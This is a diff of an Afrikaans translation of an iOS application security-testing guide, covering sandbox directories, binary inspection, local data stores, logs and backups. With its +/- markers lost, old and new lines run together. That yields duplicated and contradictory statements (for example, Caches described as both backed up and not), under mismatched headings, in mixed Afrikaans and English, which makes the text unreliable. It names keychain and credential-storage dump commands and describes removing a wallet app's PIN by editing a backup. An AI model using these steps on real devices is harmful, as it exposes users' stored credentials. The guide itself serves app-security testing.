- Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarin skryf nie**.
|
||||
- Inhoud in hierdie gids is **nie gebackup nie**.
|
||||
- Die inhoud van hierdie gids word gebruik om die **kodehandtekening te valideer**.
|
||||
- Inhoud in hierdie gids is **nie geback-up nie**.
|
||||
- Die inhoud van hierdie vouer word gebruik om die **kodehandtekening te valideer**.
|
||||
|
||||
**Data gids:**
|
||||
**Data directory:**
|
||||
|
||||
- **Dokumente/**
|
||||
- Bevat al die gebruiker-gegenereerde data. Die aansoek eindgebruiker begin die skepping van hierdie data.
|
||||
- **Documents/**
|
||||
- Bevat al die gebruiker-gegenereerde data. Die toepassings eindgebruiker begin die skepping van hierdie data.
|
||||
- Sigbaar vir gebruikers en **gebruikers kan daarin skryf**.
|
||||
- Inhoud in hierdie gids is **gebackup**.
|
||||
- Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
|
||||
- **Biblioteek/**
|
||||
- Bevat al **lêers wat nie gebruiker-spesifiek is nie**, soos **kas**, **voorkeure**, **koekies**, en eiendomslys (plist) konfigurasielêers.
|
||||
- iOS aansoeke gebruik gewoonlik die `Application Support` en `Caches` subgidsen, maar die aansoek kan pasgemaakte subgidsen skep.
|
||||
- **Biblioteek/Kas/**
|
||||
- Inhoud in hierdie gids is **gebak-up**.
|
||||
- Die app kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
|
||||
- **Library/**
|
||||
- Bevat al **lêers wat nie gebruiker-spesifiek is nie**, soos **caches**, **voorkeure**, **cookies**, en eiendomslys (plist) konfigurasielêers.
|
||||
- iOS-apps gebruik gewoonlik die `Application Support` en `Caches` subgidsen, maar die app kan pasgemaakte subgidsen skep.
|
||||
- **Library/Caches/**
|
||||
- Bevat **semi-permanente gekapte lêers.**
|
||||
- Onsigbaar vir gebruikers en **gebruikers kan nie daarin skryf nie**.
|
||||
- Inhoud in hierdie gids is **nie gebackup nie**.
|
||||
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek laag is.
|
||||
- **Biblioteek/Aansoekondersteuning/**
|
||||
- Bevat **permanente** **lêers** wat nodig is om die aansoek te laat loop.
|
||||
- Inhoud in hierdie gids is **nie geback-up nie**.
|
||||
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die app nie loop nie en stoorplek laag is.
|
||||
- **Library/Application Support/**
|
||||
- Bevat **permanente** **lêers** wat nodig is om die app te laat loop.
|
||||
- **Onsigbaar** **vir** **gebruikers** en gebruikers kan nie daarin skryf nie.
|
||||
- Inhoud in hierdie gids is **geback** **up**.
|
||||
- Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
|
||||
- **Biblioteek/Voorkeure/**
|
||||
- Gebruik om eienskappe te stoor wat kan **volhard selfs nadat 'n aansoek herbegin is**.
|
||||
- Inligting word onversleuteld, binne die aansoek sandbox in 'n plist-lêer genaamd \[BUNDLE_ID].plist gestoor.
|
||||
- Inhoud in hierdie gids is **gebak** **up**.
|
||||
- Die app kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
|
||||
- **Library/Preferences/**
|
||||
- Gebruik om eienskappe te stoor wat kan **volhard selfs nadat 'n toepassing herbegin is**.
|
||||
- Inligting word onversleuteld, binne die toepassings sandkas in 'n plist-lêer genaamd \[BUNDLE_ID].plist gestoor.
|
||||
- Alle sleutel/waarde pare wat met `NSUserDefaults` gestoor is, kan in hierdie lêer gevind word.
|
||||
- **tmp/**
|
||||
- Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoeklopies moet volhard nie.
|
||||
- Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen app-lanceringe moet volhard nie.
|
||||
- Bevat nie-permanente gekapte lêers.
|
||||
- **Onsigbaar** vir gebruikers.
|
||||
- Inhoud in hierdie gids is nie gebackup nie.
|
||||
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek laag is.
|
||||
- Inhoud in hierdie gids is nie geback-up nie.
|
||||
- Die OS mag hierdie gids se lêers outomaties verwyder wanneer die app nie loop nie en stoorplek laag is.
|
||||
|
||||
Kom ons kyk nader na iGoat-Swift se Aansoek Bundel (.app) gids binne die Bundel gids (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Kom ons kyk nader na iGoat-Swift se Toepassing Bundel (.app) gids binne die Bundel gids (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
|
||||
```
|
||||
### Binêre Terugkeer
|
||||
|
||||
Binne die `<application-name>.app` gids sal jy 'n binêre lêer vind genaamd `<application-name>`. Dit is die lêer wat **uitgevoer** sal word. Jy kan 'n basiese inspeksie van die binêre met die hulpmiddel **`otool`** uitvoer:
|
||||
Binne die `<application-name>.app` gids sal jy 'n binêre lêer vind wat `<application-name>` genoem word. Dit is die lêer wat **uitgevoer** sal word. Jy kan 'n basiese inspeksie van die binêre met die hulpmiddel **`otool`** uitvoer:
|
||||
```bash
|
||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
@ -299,9 +299,9 @@ Kyk of daar enige uitvoer is vir:
|
||||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
**Ontbind die binêre**
|
||||
**Ontleed die binêre**
|
||||
|
||||
Ontbind die teksgedeelte:
|
||||
Ontleed die teksgedeelte:
|
||||
```bash
|
||||
otool -tV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -329,7 +329,7 @@ data 0x1003de748
|
||||
flags 0x80
|
||||
instanceStart 8
|
||||
```
|
||||
Om 'n meer kompakte Objective-C kode te verkry, kan jy [**class-dump**](http://stevenygard.com/projects/class-dump/): gebruik.
|
||||
Om 'n meer kompakte Objective-C kode te verkry, kan jy [**class-dump**](http://stevenygard.com/projects/class-dump/): gebruik
|
||||
```bash
|
||||
class-dump some-app
|
||||
//
|
||||
@ -355,9 +355,9 @@ double _field1;
|
||||
double _field2;
|
||||
};
|
||||
```
|
||||
egter, die beste opsies om die binêre te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
## Data Berging
|
||||
## Data Storage
|
||||
|
||||
Om te leer hoe iOS data in die toestel stoor, lees hierdie bladsy:
|
||||
|
||||
@ -366,20 +366,20 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Die volgende plekke om inligting te stoor moet **reg na die installering van die toepassing** nagegaan word, **na die nagaan van al die funksies** van die toepassing en selfs na **uitteken van een gebruiker en inteken in 'n ander**.\
|
||||
> Die volgende plekke om inligting te stoor moet **reg na die installering van die toepassing** nagegaan word, **na die kontrole van al die funksies** van die toepassing en selfs na **uitteken van een gebruiker en inteken in 'n ander**.\
|
||||
> Die doel is om **onbeskermde sensitiewe inligting** van die toepassing (wagwoorde, tokens), van die huidige gebruiker en van voorheen ingelogde gebruikers te vind.
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** lêers is gestruktureerde XML lêers wat **sleutel-waarde pare** bevat. Dit is 'n manier om volhoubare data te stoor, so soms kan jy **sensitiewe inligting in hierdie lêers** vind. Dit word aanbeveel om hierdie lêers na die installering van die app en na intensiewe gebruik daarvan na te gaan om te sien of nuwe data geskryf word.
|
||||
|
||||
Die mees algemene manier om data in plist lêers volhoubaar te maak, is deur die gebruik van **NSUserDefaults**. Hierdie plist lêer word binne die app sandbox gestoor in **`Library/Preferences/<appBundleID>.plist`**
|
||||
Die mees algemene manier om data in plist lêers te behou, is deur die gebruik van **NSUserDefaults**. Hierdie plist lêer word binne die app sandbox gestoor in **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) klas bied 'n programmatiese koppelvlak vir interaksie met die standaardstelsel. Die standaardstelsel laat 'n toepassing toe om sy gedrag aan te pas volgens **gebruikersvoorkeure**. Data wat deur `NSUserDefaults` gestoor word, kan in die toepassingsbundel gesien word. Hierdie klas stoor **data** in 'n **plist** **lêer**, maar dit is bedoel om met klein hoeveelhede data gebruik te word.
|
||||
|
||||
Hierdie data kan nie langer direk via 'n vertroude rekenaar verkry word nie, maar kan verkry word deur 'n **rugsteun** uit te voer.
|
||||
|
||||
Jy kan die inligting wat gestoor is met **`NSUserDefaults`** dump deur middel van objection se `ios nsuserdefaults get`
|
||||
Jy kan die inligting wat gestoor is met **`NSUserDefaults`** dump met objection se `ios nsuserdefaults get`
|
||||
|
||||
Om al die plist lêers wat deur die toepassing gebruik word te vind, kan jy toegang verkry tot `/private/var/mobile/Containers/Data/Application/{APPID}` en uitvoer:
|
||||
```bash
|
||||
@ -391,7 +391,7 @@ Om lêers van **XML of binêre (bplist)** formaat na XML te omskakel, is verskei
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**Vir Linux-gebruikers:** Installeer eers `libplist-utils`, en gebruik dan `plistutil` om jou lêer te omskakel:
|
||||
**Vir Linux gebruikers:** Installeer eerst `libplist-utils`, gebruik dan `plistutil` om jou lêer te omskakel:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
@ -433,12 +433,12 @@ NSLog(@"data stored in core data");
|
||||
```
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) is 'n sleutel/waarde stoor wat op SQLite gebou is.\
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) is 'n sleutel/waarde winkel gebou op bo van SQLite.\
|
||||
Aangesien die Yap databasisse sqlite databasisse is, kan jy hulle vind met die voorgestelde opdrag in die vorige afdeling.
|
||||
|
||||
### Ander SQLite Databasisse
|
||||
|
||||
Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **stoor** **sensitiewe** **data** daarop en dit ongemerk laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te kontroleer. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **sensitiewe** **data** daarop **stoor** en dit ongeënkripteerd laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids na te gaan. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **liggewig** en **ingebedde** databasis enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Ontwerp om inheems te wees aan **iOS** en **macOS**, bied dit die vermoë om data naatloos te sinkroniseer.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **liggewig** en **ingebedde** databasis enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinkroniseer.
|
||||
|
||||
Om potensiële Couchbase databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word:
|
||||
```bash
|
||||
@ -508,9 +508,9 @@ Om die koekie-lêer te ondersoek, kan jy [**hierdie python-skrip**](https://gith
|
||||
```
|
||||
### Cache
|
||||
|
||||
Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die toepassing (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit cache word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n n**ormale SQLite databasis** is.
|
||||
Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die toepassing (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit-kas word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n **normale SQLite databasis** is.
|
||||
|
||||
Dit word **aanbeveel om die berging van hierdie data te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys hieronder toon verskillende maniere om dit te bereik:
|
||||
Dit word **aanbeveel om die kas van hierdie data te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys hieronder toon verskillende maniere om dit te bereik:
|
||||
|
||||
1. Dit word aanbeveel om gebergde antwoorde na afmelding te verwyder. Dit kan gedoen word met die metode wat deur Apple verskaf word, genaamd [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). U kan hierdie metode soos volg aanroep:
|
||||
|
||||
@ -518,13 +518,13 @@ Dit word **aanbeveel om die berging van hierdie data te deaktiveer**, aangesien
|
||||
|
||||
Hierdie metode sal alle gebergde versoeke en antwoorde uit die Cache.db lêer verwyder.
|
||||
|
||||
2. As u nie die voordeel van koekies hoef te gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie eienskap van URLSession te gebruik, wat die berging van koekies en Caches sal deaktiveer.
|
||||
2. As u nie die voordeel van koekies nodig het nie, sal dit aanbeveel word om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie-eiendom van URLSession te gebruik, wat die stoor van koekies en kaste deaktiveer.
|
||||
|
||||
[Apple dokumentasie](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`'n Ephemeral sessie konfigurasie objek is soortgelyk aan 'n standaard sessie konfigurasie (sien standaard), behalwe dat die ooreenstemmende sessie objek nie caches, geloofwaardigheid stoor of enige sessie-verwante data op skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste keer dat 'n ephemeral sessie data op skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.'`
|
||||
`'n Ephemeral sessie konfigurasie objek is soortgelyk aan 'n standaard sessie konfigurasie (sien standaard), behalwe dat die ooreenstemmende sessie objek nie kaste, geloofwaardigheidswinkels, of enige sessie-verwante data op skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste keer dat 'n ephemeral sessie data op skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.'`
|
||||
|
||||
3. Cache kan ook gedeaktiveer word deur die Cache-beleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) in te stel. Dit sal die berging van Cache op enige manier, hetsy in geheue of op skyf, deaktiveer.
|
||||
3. Kas kan ook gedeaktiveer word deur die Kasbeleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) te stel. Dit sal die stoor van Kas op enige manier deaktiveer, hetsy in geheue of op skyf.
|
||||
|
||||
### Snapshots
|
||||
|
||||
@ -551,7 +551,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
|
||||
backgroundImage?.removeFromSuperview()
|
||||
}
|
||||
```
|
||||
Objective-C:
|
||||
Doelstelling-C:
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
@ -566,15 +566,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Dit stel die agtergrondbeeld in op `overlayImage.png` wanneer die aansoek in die agtergrond is. Dit voorkom sensitiewe data leaks omdat `overlayImage.png` altyd die huidige weergawe sal oorskry.
|
||||
Dit stel die agtergrondbeeld in op `overlayImage.png` wanneer die toepassing in die agtergrond is. Dit voorkom sensitiewe data leaks omdat `overlayImage.png` altyd die huidige weergawe sal oorskry.
|
||||
|
||||
### Sleutelring
|
||||
### Keychain
|
||||
|
||||
Vir toegang tot en bestuur van die iOS sleutelring, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir jailbroken toestelle. Boonop bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes.
|
||||
Vir toegang tot en bestuur van die iOS keychain, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir jailbroken toestelle. Boonop bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes.
|
||||
|
||||
#### **Stoor Kredensiale**
|
||||
#### **Storing Credentials**
|
||||
|
||||
Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die sleutelring te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om kredensiale na aanmelding te stoor, word die volgende Swift-kode gebruik:
|
||||
Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die keychain te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om akrediteer te stoor na aanmelding, word die volgende Swift-kode gebruik:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -582,24 +582,24 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
```
|
||||
Om hierdie gestoor geloofsbriewe te onttrek, word Objection se opdrag `ios nsurlcredentialstorage dump` gebruik.
|
||||
|
||||
## **Pasgemaakte Sleutelborde en Sleutelborde Kas**
|
||||
## **Pasgemaakte Toetsborde en Toetsbordkas**
|
||||
|
||||
Met iOS 8.0 en later kan gebruikers pasgemaakte sleutelborde uitbreidings installeer, wat hanteerbaar is onder **Instellings > Algemeen > Sleutelborde > Sleutelborde**. Terwyl hierdie sleutelborde uitgebreide funksionaliteit bied, stel dit 'n risiko van toetsaanslagopname en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van sleutelborde wat netwerktoegang vereis. Apps kan, en behoort, die gebruik van pasgemaakte sleutelborde vir die invoer van sensitiewe inligting te beperk.
|
||||
Met iOS 8.0 en later kan gebruikers pasgemaakte toetsborduitbreidings installeer, wat hanteerbaar is onder **Instellings > Algemeen > Toetsbord > Toetsborde**. Terwyl hierdie toetsborde uitgebreide funksionaliteit bied, stel dit 'n risiko van toetsaantekening en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van toetsborde wat netwerktoegang vereis. Apps kan, en behoort, die gebruik van pasgemaakte toetsborde vir die invoer van sensitiewe inligting te beperk.
|
||||
|
||||
**Sekuriteitsaanbevelings:**
|
||||
|
||||
- Dit word aanbeveel om derdeparty-sleutelborde te deaktiveer vir verbeterde sekuriteit.
|
||||
- Wees bewus van die outokorreksie en outo-suggereringsfunksies van die standaard iOS-sleutelbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordswoordeboek te reset via **Instellings > Algemeen > Reset > Reset Sleutelbordswoordeboek** om gekapte data te verwyder.
|
||||
- Die onderskep van netwerkverkeer kan onthul of 'n pasgemaakte sleutelbord toetsaanslae op afstand oordra.
|
||||
- Dit word aanbeveel om derdeparty-toetsborde te deaktiveer vir verbeterde sekuriteit.
|
||||
- Wees bewus van die outokorreksie en outo-suggesties funksies van die standaard iOS-toetsbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die toetsbordwoordeboek te reset via **Instellings > Algemeen > Reset > Reset Toetsbordwoordeboek** om gekapte data te verwyder.
|
||||
- Die onderskep van netwerkverkeer kan onthul of 'n pasgemaakte toetsbord toetsaantekeninge op afstand oordra.
|
||||
|
||||
### **Voorkoming van Teksveldkas**
|
||||
|
||||
Die [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is om die kas van sensitiewe inligting te voorkom. Byvoorbeeld, om outokorreksie te deaktiveer en veilige teksinvoer in te skakel kan bereik word met:
|
||||
Die [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is om die kas van sensitiewe inligting te voorkom. Byvoorbeeld, om outokorreksie te deaktiveer en veilige teksinvoer te aktiveer kan bereik word met:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
Boonop, ontwikkelaars moet verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PIN's, kasgeheue deaktiveer deur `autocorrectionType` op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES` te stel.
|
||||
Boonop, ontwikkelaars moet verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PIN's, caching deaktiveer deur `autocorrectionType` op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES` te stel.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
@ -610,20 +610,20 @@ Die ontfouting van kode behels dikwels die gebruik van **logging**. Daar is 'n r
|
||||
|
||||
Ten spyte van hierdie beperkings, kan 'n **aanvaller met fisiese toegang** tot 'n ontgrendelde toestel steeds hiervan voordeel trek deur die toestel aan 'n rekenaar te koppel en **die logs te lees**. Dit is belangrik om te noem dat logs op die skyf bly selfs nadat die app verwyder is.
|
||||
|
||||
Om risiko's te verminder, word dit aanbeveel om **grondig met die app te interaksie**, alle funksies en invoere te verken om te verseker dat geen sensitiewe inligting per ongeluk gelog word nie.
|
||||
Om risiko's te verminder, word dit aanbeveel om **grondig met die app te interaksie** te tree, alle funksies en invoere te verken om te verseker dat geen sensitiewe inligting per ongeluk gelog word nie.
|
||||
|
||||
Wanneer jy die app se bronkode hersien vir potensiële lekke, soek vir beide **vooraf gedefinieerde** en **aangepaste logging verklarings** met sleutelwoorde soos `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` vir ingeboude funksies, en enige vermeldings van `Logging` of `Logfile` vir aangepaste implementasies.
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
Toepassings log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, gebruik gereedskap en opdragte soos:
|
||||
Apps log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, gebruik gereedskap en opdragte soos:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```
|
||||
is nuttig. Boonop, **Xcode** bied 'n manier om konsol logs te versamel:
|
||||
is nuttig. Boonop, **Xcode** bied 'n manier om konsole logs te versamel:
|
||||
|
||||
1. Maak Xcode oop.
|
||||
1. Maak **Xcode** oop.
|
||||
2. Koppel die iOS toestel.
|
||||
3. Navigeer na **Window** -> **Devices and Simulators**.
|
||||
4. Kies jou toestel.
|
||||
@ -634,15 +634,15 @@ Vir meer gevorderde logging, kan die verbinding met die toestel se shell en die
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Volg op met opdragte om logaktiwiteite te observeer, wat van onskatbare waarde kan wees vir die diagnose van probleme of die identifisering van potensiële datalekke in logs.
|
||||
Volg op met opdragte om logaktiwiteite te observeer, wat van onskatbare waarde kan wees om probleme te diagnoseer of potensiële datalekke in logs te identifiseer.
|
||||
|
||||
## Rugsteun
|
||||
|
||||
**Outomatiese rugsteun funksies** is in iOS geïntegreer, wat die skepping van toesteldata-kopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina) of iCloud vergemaklik. Hierdie rugsteun sluit byna alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
|
||||
**Outomatiese rugsteunfunksies** is in iOS geïntegreer, wat die skepping van toesteldata-kopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina) of iCloud vergemaklik. Hierdie rugsteun sluit byna alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
|
||||
|
||||
### Sekuriteitsrisiko's
|
||||
|
||||
Die insluiting van **geïnstalleerde toepassings en hul data** in rugsteun bring die kwessie van potensiële **datalekke** en die risiko dat **rugsteunwysigings die funksionaliteit van toepassings kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks** binne enige toepassing se gids of subgidsen te stoor om hierdie risiko's te verminder.
|
||||
Die insluiting van **geïnstalleerde toepassings en hul data** in rugsteun bring die kwessie van potensiële **datalekke** en die risiko dat **rugsteunwysigings die funksionaliteit van toepassings kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks** binne enige toepassing se gids of subgids te stoor om hierdie risiko's te verminder.
|
||||
|
||||
### Uitsluiting van Lêers uit Rugsteun
|
||||
|
||||
@ -650,7 +650,7 @@ Lêers in `Documents/` en `Library/Application Support/` word standaard gebackup
|
||||
|
||||
### Toetsing vir Kw vulnerabilities
|
||||
|
||||
Om 'n toepassing se rugsteun sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en lokaliseer dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed.
|
||||
Om 'n toepassing se rugsteun-sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en vind dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed.
|
||||
|
||||
Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toepassings soos [iMazing](https://imazing.com). Vir versleutelde rugsteun kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die rugsteun se wortel te kontroleer.
|
||||
```xml
|
||||
@ -667,15 +667,15 @@ Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toep
|
||||
```
|
||||
Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [DinoSec se GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), soos **backup_tool.py** en **backup_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir kompatibiliteit met die nuutste iTunes/Finder weergawes. Die [**iOSbackup** tool](https://pypi.org/project/iOSbackup/) is 'n ander opsie om toegang te verkry tot lêers binne wagwoord-beskermde rugsteun.
|
||||
|
||||
### Wysig App Gedrag
|
||||
### Modifisering van App Gedrag
|
||||
|
||||
'n Voorbeeld van die verandering van app gedrag deur rugsteun wysigings word gedemonstreer in die [Bither bitcoin wallet app](https://github.com/bither/bither-ios), waar die UI slot PIN binne `net.bither.plist` onder die **pin_code** sleutel gestoor word. Om hierdie sleutel uit die plist te verwyder en die rugsteun te herstel, verwyder die PIN vereiste, wat onbeperkte toegang bied.
|
||||
'n Voorbeeld van die verandering van app gedrag deur rugsteunmodifikasies word gedemonstreer in die [Bither bitcoin wallet app](https://github.com/bither/bither-ios), waar die UI slot PIN binne `net.bither.plist` onder die **pin_code** sleutel gestoor word. Om hierdie sleutel uit die plist te verwyder en die rugsteun te herstel, verwyder die PIN vereiste, wat onbeperkte toegang bied.
|
||||
|
||||
## Samevatting oor Geheue Toetsing vir Sensitiewe Data
|
||||
|
||||
Wanneer daar met sensitiewe inligting wat in 'n toepassing se geheue gestoor is, gewerk word, is dit van kardinale belang om die blootstellingstyd van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **die skep van 'n geheue dump** en **die analise van die geheue in werklike tyd**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die dump proses of analise te mis.
|
||||
